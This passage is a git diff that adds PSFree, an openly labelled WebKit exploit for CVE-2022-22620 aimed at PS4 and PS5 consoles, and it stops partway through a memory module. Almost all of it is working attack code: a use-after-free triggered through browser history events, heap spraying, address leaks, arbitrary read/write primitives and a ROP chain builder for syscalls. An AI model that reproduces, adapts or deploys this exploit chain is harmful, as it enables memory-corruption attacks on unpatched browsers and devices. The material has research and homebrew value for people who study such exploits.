''); + for (let i = 0; i < num_space; i++) { + history.replaceState('state0', ''); + } + + history.replaceState("state1", "", loc); + + // don't want any state2 near state1 + history.pushState("state2", ""); + for (let i = 0; i < num_space; i++) { + history.replaceState("state2", ""); + } +} + +function free(save) { + // We replace the URL with the original so the user can rerun the exploit + // via a reload. If we don't then the exploit will append another "#foo" to + // the URL and the input element will not be blurred because the foo + // element won't be scrolled to during history.back(). + history.replaceState('state3', '', original_loc); + + for (let i = 0; i < num_reuse; i++) { + let view = new Uint8Array(new ArrayBuffer(ssv_len)); + for (let i = 0; i < view.length; i++) { + view[i] = 0x41; + } + save.views.push(view); + } +} + +function check_spray(views) { + if (views.length !== num_reuse) { + debug_log(`views.length: ${views.length}`); + die('views.length !== num_reuse, restart the entire exploit'); + } + + for (let i = 0; i < num_reuse; i++) { + if (views[i][0] !== 0x41) { + return i; + } + } + return null; +} + +async function use_after_free(pop_func, save) { + const pop_promise = new Promise((resolve, reject) => { + function pop_wrapper(event) { + try { + pop_func(event, save); + } catch (e) { + reject(e); + } + resolve(); + } + addEventListener("popstate", pop_wrapper, {once:true}); + }); + + prepare_uaf(); + + let num_free = 0; + function onblur() { + if (num_free > 0) { + die('multiple free()s, restart the entire exploit'); + } + free(save); + num_free++; + } + + input.onblur = onblur; + await new Promise((resolve) => { + input.addEventListener('focus', resolve, {once:true}); + input.focus(); + }); + history.back(); + + await pop_promise; +} + +// get arbitrary read +async function setup_ar(save) { + const view = save.ab; + + // set refcount to 1, all other fields to 0/NULL + view[0] = 1; + for (let i = 1; i < view.length; i++) { + view[i] = 0; + } + + delete save.views; + delete save.pop; + gc(num_gc); + debug_log('setup_ar() gc done'); + + // Extra sleep if the object hasn't been collected yet, this is to allow + // the garbage collector to preempt us. Keeping the call to gc() lowers the + // average total sleep time. + let total_sleep = 0; + const num_sleep = 8; + // Don't sleep for 9.xx. Tests show it is slower. This check and the sleep + // before double_free() make the exploit fast for 9.xx. + while (true && config.target !== config.ps4_9_00) { + await sleep(num_sleep); + total_sleep += num_sleep; + + if (view[0] !== 1) { + break; + } + } + debug_log(`total_sleep: ${total_sleep}`); + // log to check if the garbage collector did collect PopStateEvent + // must not log "1, 0, 0, 0, ..." + debug_log(view); + + let num_spray = 0; + while (true) { + const obj = {}; + num_spray++; + + for (let i = 0; i < num_str; i++) { + let str = new String( + 'B'.repeat(original_strlen - 5) + + i.toString().padStart(5, '0') + ); + obj[str] = 0x1337; + } + + if (view[o.strimpl_inline_str] === 0x42) { + write32(view, o.strimpl_strlen, 0xffffffff); + } else { + continue; + } + + let found = false; + const str_arr = Object.getOwnPropertyNames(obj); + for (let i = 0; i < str_arr.length; i++) { + if (str_arr[i].length > 0xff) { + rstr = str_arr[i]; + found = true; + debug_log('confirmed correct leaked'); + debug_log(`str len: ${rstr.length}`); + debug_log(view); + debug_log(`read address: ${read64(view, o.strimpl_m_data)}`); + break; + } + } + if (!found) { + continue; + } + + debug_log(`num_spray: ${num_spray}`); + return; + } +} + +async function double_free(save) { + const view = save.ab; + + await setup_ar(save); + + // Spraying JSArrayBufferViews + debug_log('spraying views'); + let buffer = new ArrayBuffer(buffer_len); + let tmp = []; + const num_alloc = 0x10000; + const num_threshold = 0xfc00; + const num_diff = num_alloc - num_threshold; + for (let i = 0; i < num_alloc; i++) { + // The last allocated are more likely to be allocated after our relative read + if (i >= num_threshold) { + view_leak_arr.push(new Uint8Array(buffer)); + } else { + tmp.push(new Uint8Array(buffer)); + } + } + tmp = null; + debug_log('done spray views'); + + // Force JSC ref on FastMalloc Heap + // https://github.com/Cryptogenic/PS4-5.05-Kernel-Exploit/blob/master/expl.js#L151 + let props = []; + for (let i = 0; i < num_diff; i++) { + props.push({ value: 0x43434343 }); + props.push({ value: view_leak_arr[i] }); + } + + debug_log('start find leak'); + // + // /!\ + // This part must avoid as much as possible fastMalloc allocation + // to avoid re-using the targeted object + // /!\ + // + // Use relative read to find our JSC obj + // We want a JSArrayBufferView that is allocated after our relative read + search: while (true) { + Object.defineProperties({}, props); + for (let i = 0; i < 0x800000; i++) { + let v = null; + if (rstr.charCodeAt(i) === 0x43 && + rstr.charCodeAt(i + 1) === 0x43 && + rstr.charCodeAt(i + 2) === 0x43 && + rstr.charCodeAt(i + 3) === 0x43 + ) { + // check if PropertyDescriptor + if (rstr.charCodeAt(i + 0x08) === 0x00 && + rstr.charCodeAt(i + 0x0f) === 0x00 && + rstr.charCodeAt(i + 0x10) === 0x00 && + rstr.charCodeAt(i + 0x17) === 0x00 && + rstr.charCodeAt(i + 0x18) === 0x0e && + rstr.charCodeAt(i + 0x1f) === 0x00 && + rstr.charCodeAt(i + 0x28) === 0x00 && + rstr.charCodeAt(i + 0x2f) === 0x00 && + rstr.charCodeAt(i + 0x30) === 0x00 && + rstr.charCodeAt(i + 0x37) === 0x00 && + rstr.charCodeAt(i + 0x38) === 0x0e && + rstr.charCodeAt(i + 0x3f) === 0x00 + ) { + v = str2array(rstr, 8, i + 0x20); + // check if array of JSValues pointed by m_buffer + } else if (rstr.charCodeAt(i + 0x10) === 0x43 && + rstr.charCodeAt(i + 0x11) === 0x43 && + rstr.charCodeAt(i + 0x12) === 0x43 && + rstr.charCodeAt(i + 0x13) === 0x43) { + v = str2array(rstr, 8, i + 8); + } + } + if (v !== null) { + view_leak = new Int(v); + break search; + } + } + } + // + // /!\ + // Critical part ended-up here + // /!\ + // + debug_log('end find leak'); + debug_log('view addr ' + view_leak); + + let rstr_addr = read64(view, o.strimpl_m_data); + write64(view, o.strimpl_m_data, view_leak); + for (let i = 0; i < 4; i++) { + jsview.push(sread64(rstr, i*8)); + } + write64(view, o.strimpl_m_data, rstr_addr); + write32(view, o.strimpl_strlen, original_strlen); + debug_log('contents of JSArrayBufferView'); + debug_log(jsview); + + /* + // check if the JSArrayBufferView is allocated below its buffer + let index = view_leak.sub(jsview[2]); + debug_log('index: ' + index); + // check sign bit + if (index.high() >>> 31 === 1) { + die('view not below buffer'); + } + if (index.high() !== 0) { + die('index not reachable by relative r/w'); + } + */ +} + +function find_leaked_view(rstr, view_rstr, view_m_vector, view_arr) { + const old_m_data = read64(view_rstr, o.strimpl_m_data); + + let res = null; + write64(view_rstr, o.strimpl_m_data, view_m_vector); + for (const view of view_arr) { + const magic = 0x41424344; + write32(view, 0, magic); + + if (sread64(rstr, 0).low() === magic) { + res = view; + break; + } + } + write64(view_rstr, o.strimpl_m_data, old_m_data); + + if (res === null) { + die('not found'); + } + return res; +} + + +class Reader { + // leaker will be the view whose address we leaked + constructor(rstr, view_rstr, leaker, leaker_addr) { + this.rstr = rstr; + this.view_rstr = view_rstr; + this.leaker = leaker; + this.leaker_addr = leaker_addr; + this.old_m_data = read64(view_rstr, o.strimpl_m_data); + + // Create a butterfy with the "a" property as the first. leaker is a + // JSArrayBufferView. Instances of that class don't have inlined + // properties and the butterfly is immediately created. + leaker.a = 0; // dummy value, we just want to create the "a" property + } + + addrof(obj) { + if (typeof obj !== 'object' + && typeof obj !== 'function' + ) { + throw TypeError('addrof argument not a JS object'); + } + + this.leaker.a = obj; + + // no need to modify the length, original_strlen is large enough + write64(this.view_rstr, o.strimpl_m_data, this.leaker_addr); + + const butterfly = sread64(this.rstr, o.js_butterfly); + write64(this.view_rstr, o.strimpl_m_data, butterfly.sub(0x10)); + + const res = sread64(this.rstr, 0); + + write64(this.view_rstr, o.strimpl_m_data, this.old_m_data); + return res; + } + + get_view_vector(view) { + if (!ArrayBuffer.isView(view)) { + throw TypeError(`object not a JSC::JSArrayBufferView: ${view}`); + } + + write64(this.view_rstr, o.strimpl_m_data, this.addrof(view)); + const res = sread64(this.rstr, o.view_m_vector); + + write64(this.view_rstr, o.strimpl_m_data, this.old_m_data); + return res; + } +} + +// data to write to the SerializedScriptValue +// +// Setup to make deserialization create an ArrayBuffer with its buffer address +// pointing to a JSArrayBufferView (worker). +function setup_ssv_data(reader) { + const r = reader; + // sizeof WTF::Vector + const size_vector = 0x10; + // sizeof JSC::ArrayBufferContents + const size_abc = config.target === config.ps4_9_00 ? 0x18 : 0x20; + + // WTF::Vector + const m_data = new Uint8Array(new ArrayBuffer(size_vector)); + const data = new Uint8Array(new ArrayBuffer(9)); + + // m_buffer + write64(m_data, 0, r.get_view_vector(data)); + // m_capacity + write32(m_data, 8, data.length); + // m_size + write32(m_data, 0xc, data.length); + + // 6 is the serialization format version number for ps4 6.00. The format + // is backwards compatible and using a value less the current version + // number used by a specific WebKit version is considered valid. + // + // See CloneDeserializer::isValid() from + // WebKit/Source/WebCore/bindings/js/SerializedScriptValue.cpp at PS4 8.03. + const CurrentVersion = 6; + const ArrayBufferTransferTag = 23; + write32(data, 0, CurrentVersion); + data[4] = ArrayBufferTransferTag; + write32(data, 5, 0); + + // WTF::Vector + const abc_vector = new Uint8Array(new ArrayBuffer(size_vector)); + // JSC::ArrayBufferContents + const abc = new Uint8Array(new ArrayBuffer(size_abc)); + + write64(abc_vector, 0, r.get_view_vector(abc)); + write32(abc_vector, 8, 1); + write32(abc_vector, 0xc, 1); + + const worker = new Uint8Array(new ArrayBuffer(1)); + + if (config.target !== config.ps4_9_00) { + // m_destructor + write64(abc, 0, Int.Zero); + // m_shared + write64(abc, 8, Int.Zero); + // m_data + write64(abc, 0x10, r.addrof(worker)); + // m_sizeInBytes + write32(abc, 0x18, o.size_view); + } else { + // m_data + write64(abc, 0, r.addrof(worker)); + // m_destructor + write64(abc, 8, Int.Zero); + // m_shared + write64(abc, 0xe, Int.Zero); + // m_sizeInBytes + write32(abc, 0x14, o.size_view); + } + + return { + m_data, + m_arrayBufferContentsArray : r.get_view_vector(abc_vector), + worker, + // keep a reference to prevent garbage collection + nogc : [ + data, + abc_vector, + abc, + ], + }; +} + +// get arbitrary read/write +async function setup_arw2(save, ssv_data) { + const num_msg = 1000; + const view = save.ab; + let msgs = []; + + function onmessage(event) { + msgs.push(event); + } + addEventListener('message', onmessage); + + // Free the StringImpl so we can spray SerializedScriptValues over the + // buffer of view. + rstr = null; + while (true) { + for (let i = 0; i < num_msg; i++) { + postMessage('', origin); + } + + while (msgs.length !== num_msg) { + await sleep(100); + } + + if (view[o.strimpl_inline_str] !== 0x42) { + break; + } + + msgs = []; + } + removeEventListener('message', onmessage); + + debug_log('view contents:'); + for (let i = 0; i < ssv_len; i += 8) { + debug_log(read64(view, i)); + } + + const {m_data, m_arrayBufferContentsArray, worker, nogc} = ssv_data; + write64(view, 8, read64(m_data, 0)); + write64(view, 0x10, read64(m_data, 8)); + write64(view, 0x18, m_arrayBufferContentsArray); + + for (const msg of msgs) { + if (msg.data !== '') { + alert('achieved arbitrary r/w'); + debug_log('achieved arbitrary r/w'); + + const u = new Uint8Array(msg.data); + debug_log('deserialized ArrayBuffer:'); + for (let i = 0; i < o.size_view; i += 8) { + debug_log(read64(u, i)); + } + + const mem = new Memory2(u, worker); + + // safe to zero out the contents, the destructor will ignore fields + // that are zero/NULL + view.set(new Uint8Array(view.buffer)); + // set refcount to 1 to have it not leak memory + view[0] = 1; + + return; + } + } + die('no arbitrary r/w'); +} + +// Don't create additional references to rstr, use the global variable. This +// is to make dropping all references to it easy (change the value of the +// global variable). +async function triple_free( + save, + // contents of the leaked JSArrayBufferView + jsview, + view_leak_arr, + leaked_view_addr, +) { + const leaker = find_leaked_view(rstr, save.ab, jsview[2], view_leak_arr); + let r = new Reader(rstr, save.ab, leaker, leaked_view_addr); + const ssv_data = setup_ssv_data(r); + + // r contains a reference to rstr, drop it for setup_arw2() + r = null; + await setup_arw2(save, ssv_data); +} + +// for ps4 and ps5 +async function decrement(save) { + debug_log('try decrement'); + const offset_num_loop = + config.target === config.ps4_6_00 ? 0x54 : 0x44 + ; + const offset_target_addr = + config.target === config.ps4_6_00 ? 0x48 : 0x38 + ; + const view = save.ab; + const num_loop_str = offset_num_loop.toString(16); + const target_addr_str = offset_target_addr.toString(16); + // any of the buffers since they all share the same underlying memory + let trick_buffer = view_leak_arr[0]; + view[0] = 1; // refcount + for (let i = 1; i < view.length; i++) { + view[i] = 0; // unneeded fields to NULL + } + // setup to trick the destructor + write32(view, offset_num_loop, 1); + write64(view, offset_target_addr, jsview[2]); + debug_log(`0x${num_loop_str}: ${read32(view, offset_num_loop)}`); + debug_log(`0x${target_addr_str}: ${read64(view, offset_target_addr)}`); + debug_log(view); + + let target_addr = + view_leak.add( + o.view_m_length + + 1 // to misalign the decrement + ); + write64(trick_buffer, 0, target_addr); + debug_log('target addr: ' + target_addr); + debug_log('check: readout addr in buffer: ' + read64(trick_buffer, 0)); + + delete save.views; + delete save.pop; + // we lowered it from num_gc since we are crashing on the ps4 + gc(20); + debug_log('decrement() gc done'); + + // Extra sleep if the object hasn't been collected yet, this is to allow + // the garbage collector to preempt us. Keeping the call to gc() lowers the + // average total sleep time. + let total_sleep = 0; + const num_sleep = 8; + while (true) { + await sleep(num_sleep); + total_sleep += num_sleep; + + if (view[0] !== 1) { + break; + } + } + debug_log(`total_sleep: ${total_sleep}`); + // log to check if the garbage collector did collect PopStateEvent + // must not log "1, 0, 0, 0, ..." + debug_log(view); + + let found = false; + for (let i = 0; i < view_leak_arr.length; i++) { + let view = view_leak_arr[i]; + if (view.length > 0xff) { + debug_log('achieved relative r/w'); + debug_log('view i: ' + i); + debug_log('view len: ' + view.length); + found = true; + view_rw = view_leak_arr[i]; + break; + } + } + if (!found) { + die('no relative r/w'); + } +} + +// get arbitrary read/write +function setup_arw() { + let view_worker_addr = null; + let view_worker = null; + let worker_i = null; + let index = view_leak.sub(jsview[2]); + index = index.low(); + + // Is the next JSObject a JSArrayBufferView? Otherwise we target the previous JSObject + if (view_rw[index + o.size_view + o.view_m_length] === buffer_len) { + view_worker_addr = view_leak.add(o.size_view); + worker_i = index + o.size_view; + } else { + view_worker_addr = view_leak.sub(o.size_view); + worker_i = index - o.size_view; + } + debug_log('worker i: ' + worker_i); + + // Overiding the length of one the JSArrayBufferViews with a known value + // ensure known value != buffer_len + view_rw[worker_i + o.view_m_length] = 0xff; + + // Looking for the worker JSArrayBufferView + let found = false; + for (let i = 0; i < view_leak_arr.length; i++) { + if (view_leak_arr[i].length === 0xff) { + alert('achieved arbitrary r/w'); + debug_log('achieved arbitrary r/w'); + view_worker = view_leak_arr[i]; + found = true; + break; + } + } + if (!found) { + die('no arbitrary r/w'); + } + + const mem = new Memory( + view_rw, view_leak, + view_worker, view_worker_addr, + worker_i + ); + + // cleanup + view_leak_arr = null; + view_rw = null; + view_leak = null; + // during the decrement we corrupted m_mode as well, we have the original + // m_mode here at jsview but we won't bother in fixing it since we are not + // crashing anyway + jsview = null; + // the StringImpl is safe to free since we fixed it up earlier + rstr = null; + input = null; + foo = null; + + // After rstrs's death and the decrement, the JSArrayBufferViews at s1 and + // s2 will no longer have any object overlaid on their backing buffers but + // it is still freed. Meaning we can control any object that might be + // allocated there again. But these views are no longer needed as we + // already have an arbitrary read/write primitive. It might be in our + // interest to just free them as well. + // + // But since we have not filled the backing buffers with any object, the + // browser might have already filled them with important objects. Freeing + // the views will lead them to freeing their backing buffers since they + // still think they need to and thus this will free any overlaid objects. + // + // So we will not free them just to be sure we won't free any important + // objects by accident and lead to a crash. + //s1 = null; + //s2 = null; +} + +function pop(event, save) { + let spray_res = check_spray(save.views); + if (spray_res === null) { + die('failed spray'); + } else { + save.pop = event; + save.ab = save.views[spray_res]; + debug_log('ssv len: ' + ssv_len); + debug_log('view index: ' + spray_res); + debug_log(save.ab); + } +} + +// For some reason the input element is being blurred by something else (we +// don't know what) if we execute use_after_free() before the DOMContentLoaded +// event fires. The input must only be blurred by history.back(), which will +// change the focus from the input to the foo element. +async function get_ready() { + debug_log('readyState: ' + document.readyState); + await new Promise((resolve, reject) => { + if (document.readyState !== "complete") { + document.addEventListener("DOMContentLoaded", resolve); + return; + } + resolve(); + }); +} + +async function run() { + debug_log('stage: readying'); + await get_ready(); + + debug_log('stage: UaF 1'); + await use_after_free(pop, s1); + + // we trigger the leak first because it is more likely to work + // than if it were to happen during the second ssv smashing + // on the ps4 + debug_log('stage: double free'); + // * keeps double_free()'s total sleep even lower + // * also helps the garbage collector scheduling for 9.xx + await sleep(0); + await double_free(s1); + + debug_log('stage: triple free'); + await triple_free(s1, jsview, view_leak_arr, view_leak); + + /* + // This extra sleep is needed before UaF 2, since for some reason the + // garbage collector can't immediately collect the objects near state1. + // These objects are probably just the usual temporaries used by the JS + // virtual machine. Essentially there is a timing issue on when is the GC + // allowed to collect? + await sleep(0x800); + + debug_log('stage: UaF 2'); + await use_after_free(pop, s2); + + debug_log('stage: decrement'); + await decrement(s2); + + debug_log('stage: setup arw'); + setup_arw(); + + clear_log(); + // path to your script that will use the exploit + import('./code.mjs'); + */ +} + +run(); diff --git a/index.html b/index.html new file mode 100644 index 0000000..3490de7 --- /dev/null +++ b/index.html @@ -0,0 +1,31 @@ + + + + + PSFree Beta 3 version + + + + PS4/PS5 exploit using CVE-2022-22620
+ PS4 versions vulnerable: 6.xx-9.xx (tested 6.00-9.60)
+ PS5 versions vulnerable: 1.xx-5.xx (tested 1.00-5.50)
+ JavaScript license information + + + diff --git a/module/chain.mjs b/module/chain.mjs new file mode 100644 index 0000000..4efceae --- /dev/null +++ b/module/chain.mjs @@ -0,0 +1,189 @@ +/* Copyright (C) 2023 anonymous + +This file is part of PSFree. + +PSFree is free software: you can redistribute it and/or modify +it under the terms of the GNU Affero General Public License as +published by the Free Software Foundation, either version 3 of the +License, or (at your option) any later version. + +PSFree is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU Affero General Public License for more details. + +You should have received a copy of the GNU Affero General Public License +along with this program. If not, see . */ + +import { Int } from './int64.mjs'; +import { get_view_vector } from './memtools.mjs'; +import { Addr, mem } from './mem.mjs'; + +import { + read64, + write64, +} from './rw.mjs'; + +import * as o from './offset.mjs'; + +// put the sycall names that you want to use here +export const syscall_map = new Map(Object.entries({ + 'getuid' : 24, +})); + +// Extra space to allow a ROP chain to push temporary values. It must pop all +// of it before reaching a "ret" instruction, else the instruction will pop one +// of the temporaries as its return address. +const upper_pad = 0x100; +const stack_size = 0x1000; +const total_size = upper_pad + stack_size; + +const argument_pops = [ + 'pop rdi; ret', + 'pop rsi; ret', + 'pop rdx; ret', + 'pop rcx; ret', + 'pop r8; ret', + 'pop r9; ret', +]; + +export class ChainBase { + constructor() { + this.is_stale = false; + this.position = 0; + this._return_value = new Uint8Array(8); + this.retval_addr = get_view_vector(this._return_value); + + const stack_buffer = new ArrayBuffer(total_size); + this.stack_buffer = stack_buffer; + this.stack = new Uint8Array(stack_buffer, upper_pad, stack_size); + this.stack_addr = get_view_vector(this.stack); + } + + check_stale() { + if (this.is_stale) { + throw Error('chain already ran, clean it first'); + } + this.is_stale = true; + } + + check_is_empty() { + if (this.position === 0) { + throw Error('chain is empty'); + } + } + + clean() { + this.position = 0; + this.is_stale = false; + } + + // this will raise an error if the value is not an Int + push_value(value) { + if (this.position >= stack_size) { + throw Error(`no more space on the stack, pushed value: ${value}`); + } + write64(this.stack, this.position, value); + this.position += 8; + } + + // converts value to Int first + push_constant(value) { + this.push_value(new Int(value)); + } + + get_gadget(insn_str) { + const addr = this.gadgets.get(insn_str); + if (addr === undefined) { + throw Error(`gadget not found: ${insn_str}`); + } + + return addr; + } + + push_gadget(insn_str) { + this.push_value(this.get_gadget(insn_str)); + } + + push_call(func_addr, ...args) { + if (args.length > 6) { + throw TypeError( + 'call() does not support functions that have more than 6' + + ' arguments' + ); + } + + for (let i = 0; i < args.length; i++) { + this.push_gadget(argument_pops[i]); + this.push_constant(args[i]); + } + + // The address of our buffer seems to be always aligned to 8 bytes. + // SysV calling convention requires the stack is aligned to 16 bytes on + // function entry, so push an additional 8 bytes to pad the stack. We + // pushed a "ret" gadget for a noop. + if ((this.position & (0x10 - 1)) !== 0) { + this.push_gadget('ret'); + } + + this.push_value(func_addr); + } + + push_syscall(syscall_name, ...args) { + if (typeof syscall_name !== 'string') { + throw TypeError(`syscall_name not a string: ${syscall_name}`); + } + + const sysno = syscall_map.get(syscall_name); + if (sysno === undefined) { + throw Error(`syscall_name not found: ${syscall_name}`); + } + + const syscall_addr = this.syscall_array[sysno]; + if (syscall_addr === undefined) { + throw Error(`syscall number not in syscall_array: ${sysno}`); + } + + this.push_call(syscall_addr, ...args); + } + + // ROP chain to retrieve rax + push_get_retval() { + throw Error('push_get_retval() not implemented'); + } + + // Firmware specific method to launch a ROP chain + // + // Implementations must call check_stale() and check_is_empty() before + // trying to launch the chain. + run() { + throw Error('run() not implemented'); + } + + get return_value() { + return read64(this._return_value, 0); + } + + // Sets needed class properties + // + // Args: + // gadgets: + // A Map-like object mapping instruction strings (e.g "pop rax; ret") + // to their addresses in memory. + // syscall_array: + // An array whose indices correspond to syscall numbers. Maps syscall + // numbers to their addresses in memory. Defaults to an empty Array. + // + // Raises: + // Error: + // For missing bare minimum gadgets + static init_class(gadgets, syscall_array=[]) { + for (const insn of argument_pops) { + if (!gadgets.has(insn)) { + throw Error(`gadget map must contain this gadget: ${insn}`); + } + } + this.prototype.gadgets = gadgets; + this.prototype.syscall_array = syscall_array; + } +} diff --git a/module/constants.mjs b/module/constants.mjs new file mode 100644 index 0000000..268f079 --- /dev/null +++ b/module/constants.mjs @@ -0,0 +1,20 @@ +/* Copyright (C) 2023 anonymous + +This file is part of PSFree. + +PSFree is free software: you can redistribute it and/or modify +it under the terms of the GNU Affero General Public License as +published by the Free Software Foundation, either version 3 of the +License, or (at your option) any later version. + +PSFree is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU Affero General Public License for more details. + +You should have received a copy of the GNU Affero General Public License +along with this program. If not, see . */ + +export const KB = 1024; +export const MB = KB * KB; +export const GB = KB * KB * KB; diff --git a/module/int64.mjs b/module/int64.mjs new file mode 100644 index 0000000..1cbe791 --- /dev/null +++ b/module/int64.mjs @@ -0,0 +1,193 @@ +/* Copyright (C) 2023 anonymous + +This file is part of PSFree. + +PSFree is free software: you can redistribute it and/or modify +it under the terms of the GNU Affero General Public License as +published by the Free Software Foundation, either version 3 of the +License, or (at your option) any later version. + +PSFree is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU Affero General Public License for more details. + +You should have received a copy of the GNU Affero General Public License +along with this program. If not, see . */ + +function check_range(x) { + return (-0x80000000 <= x) && (x <= 0xffffffff); +} + +function unhexlify(hexstr) { + if (hexstr.substring(0, 2) === "0x") { + hexstr = hexstr.substring(2); + } + if (hexstr.length % 2 === 1) { + hexstr = '0' + hexstr; + } + if (hexstr.length % 2 === 1) { + throw TypeError("Invalid hex string"); + } + + let bytes = new Uint8Array(hexstr.length / 2); + for (let i = 0; i < hexstr.length; i += 2) { + let new_i = hexstr.length - 2 - i; + let substr = hexstr.slice(new_i, new_i + 2); + bytes[i / 2] = parseInt(substr, 16); + } + + return bytes; +} + +// Decorator for Int instance operations. Takes care +// of converting arguments to Int instances if required. +function operation(f, nargs) { + return function () { + if (arguments.length !== nargs) + throw Error("Not enough arguments for function " + f.name); + let new_args = []; + for (let i = 0; i < arguments.length; i++) { + if (!(arguments[i] instanceof Int)) { + new_args[i] = new Int(arguments[i]); + } else { + new_args[i] = arguments[i]; + } + } + return f.apply(this, new_args); + }; +} + +export class Int { + constructor(low, high) { + let buffer = new Uint32Array(2); + let bytes = new Uint8Array(buffer.buffer); + + if (arguments.length > 2) { + throw TypeError('Int takes at most 2 args'); + } + if (arguments.length === 0) { + throw TypeError('Int takes at min 1 args'); + } + let is_one = false; + if (arguments.length === 1) { + is_one = true; + } + + if (!is_one) { + if (typeof (low) !== 'number' + && typeof (high) !== 'number') { + throw TypeError('low/high must be numbers'); + } + } + + if (typeof low === 'number') { + if (!check_range(low)) { + throw TypeError('low not a valid value: ' + low); + } + if (is_one) { + high = 0; + if (low < 0) { + high = -1; + } + } else { + if (!check_range(high)) { + throw TypeError('high not a valid value: ' + high); + } + } + buffer[0] = low; + buffer[1] = high; + } else if (typeof low === 'string') { + bytes.set(unhexlify(low)); + } else if (typeof low === 'object') { + if (low instanceof Int) { + bytes.set(low.bytes); + } else { + if (low.length !== 8) + throw TypeError("Array must have exactly 8 elements."); + bytes.set(low); + } + } else { + throw TypeError('Int does not support your object for conversion'); + } + + this.buffer = buffer; + this.bytes = bytes; + + this.neg = operation(function neg() { + let type = this.constructor; + + let low = ~this.low(); + let high = ~this.high(); + + let res = (new Int(low, high)).add(1); + + return new type(res); + }, 0); + + this.add = operation(function add(b) { + let type = this.constructor; + + let low = this.low(); + let high = this.high(); + + low += b.low(); + let carry = 0; + if (low > 0xffffffff) { + carry = 1; + } + high += carry + b.high(); + + low &= 0xffffffff; + high &= 0xffffffff; + + return new type(low, high); + }, 1); + + this.sub = operation(function sub(b) { + let type = this.constructor; + + b = b.neg(); + + let low = this.low(); + let high = this.high(); + + low += b.low(); + let carry = 0; + if (low > 0xffffffff) { + carry = 1; + } + high += carry + b.high(); + + low &= 0xffffffff; + high &= 0xffffffff; + + return new type(low, high); + }, 1); + } + + low() { + return this.buffer[0]; + } + + high() { + return this.buffer[1]; + } + + toString(is_pretty) { + if (!is_pretty) { + let low = this.low().toString(16).padStart(8, '0'); + let high = this.high().toString(16).padStart(8, '0'); + return '0x' + high + low; + } + let high = this.high().toString(16).padStart(8, '0'); + high = high.substring(0, 4) + '_' + high.substring(4); + + let low = this.low().toString(16).padStart(8, '0'); + low = low.substring(0, 4) + '_' + low.substring(4); + return '0x' + high + '_' + low; + } +} + +Int.Zero = new Int(0); +Int.One = new Int(1); diff --git a/module/mem.mjs b/module/mem.mjs new file mode 100644 index 0000000..9e10261 --- /dev/null +++ b/module/mem.mjs @@ -0,0 +1,253 @@ +/* Copyright (C) 2023 anonymous + +This file is part of PSFree. + +PSFree is free software: you can redistribute it and/or modify +it under the terms of the GNU Affero General Public License as +published by the Free Software Foundation, either version 3 of the +License, or (at your option) any later version. + +PSFree is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU Affero General Public License for more details. + +You should have received a copy of the GNU Affero General Public License +along with this program. If not, see . */ + +import { Int } from './int64.mjs'; +import { + read16, + read32, + read64, + write16, + write32, + write64, +} from './rw.mjs'; +import * as o from './offset.mjs'; + +export let mem = null; + +function init_module(memory) { + mem = memory; +} + +export class Addr extends Int { + read8(offset) { + const addr = this.add(offset); + return mem.read8(addr); + } + + read16(offset) { + const addr = this.add(offset); + return mem.read16(addr); + } + + read32(offset) { + const addr = this.add(offset); + return mem.read32(addr); + } + + read64(offset) { + const addr = this.add(offset); + return mem.read64(addr); + } + + // returns a pointer instead of an Int + readp(offset) { + const addr = this.add(offset); + return mem.readp(addr); + } + + write8(offset, value) { + const addr = this.add(offset); + + mem.write8(addr, value); + } + + write16(offset, value) { + const addr = this.add(offset); + + mem.write16(addr, value); + } + + write32(offset, value) { + const addr = this.add(offset); + + mem.write32(addr, value); + } + + write64(offset, value) { + const addr = this.add(offset); + + mem.write64(addr, value); + } +} + +class MemoryBase { + _addrof(obj) { + if (typeof obj !== 'object' + && typeof obj !== 'function' + ) { + throw TypeError('addrof argument not a JS object'); + } + this.worker.a = obj; + write64(this.main, o.view_m_vector, this.butterfly.sub(0x10)); + let res = read64(this.worker, 0); + write64(this.main, o.view_m_vector, this._current_addr); + + return res; + } + + addrof(obj) { + return new Addr(this._addrof(obj)); + } + + set_addr(addr) { + if (!(addr instanceof Int)) { + throw TypeError('addr must be an Int'); + } + this._current_addr = addr; + write64(this.main, o.view_m_vector, this._current_addr); + } + + get_addr() { + return this._current_addr; + } + + // write0() is for when you want to write to address 0. You can't use for + // example: "mem.write32(Int.Zero, 0)", since you can't set by index the + // view when it isDetached(). isDetached() == true when m_mode >= + // WastefulTypedArray and m_vector == 0. + // + // Functions like write32() will index mem.worker via write() from rw.mjs. + // + // size is the number of bits to read/write. + // + // The constraint is 0 <= offset + 1 < 2**32. + // + // PS4 firmwares >= 9.00 and any PS5 version can write to address 0 + // directly. All firmwares (PS4 and PS5) can read address 0 directly. + // + // See setIndex() from + // WebKit/Source/JavaScriptCore/runtime/JSGenericTypedArrayView.h at PS4 + // 8.03 for more information. Affected firmwares will get this error: + // + // TypeError: Underlying ArrayBuffer has been detached from the view + write0(size, offset, value) { + const i = offset + 1; + if (i >= 2**32 || i < 0) { + throw RangeError(`read0() invalid offset: ${offset}`); + } + + this.set_addr(new Int(-1)); + + switch (size) { + case 8: { + this.worker[i] = value; + } + case 16: { + write16(this.worker, i, value); + } + case 32: { + write32(this.worker, i, value); + } + case 64: { + write64(this.worker, i, value); + } + default: { + throw RangeError(`write0() invalid size: ${size}`); + } + } + } + + read8(addr) { + this.set_addr(addr); + return this.worker[0]; + } + + read16(addr) { + this.set_addr(addr); + return read16(this.worker, 0); + } + + read32(addr) { + this.set_addr(addr); + return read32(this.worker, 0); + } + + read64(addr) { + this.set_addr(addr); + return read64(this.worker, 0); + } + + // returns a pointer instead of an Int + readp(addr) { + return new Addr(this.read64(addr)); + } + + write8(addr, value) { + this.set_addr(addr); + this.worker[0] = value; + } + + write16(addr, value) { + this.set_addr(addr); + write16(this.worker, 0, value); + } + + write32(addr, value) { + this.set_addr(addr); + write32(this.worker, 0, value); + } + + write64(addr, value) { + this.set_addr(addr); + write64(this.worker, 0, value); + } +} + +export class Memory extends MemoryBase { + constructor(main, main_addr, worker, worker_addr, worker_index) { + super(); + + this.main = main; + this.main_addr 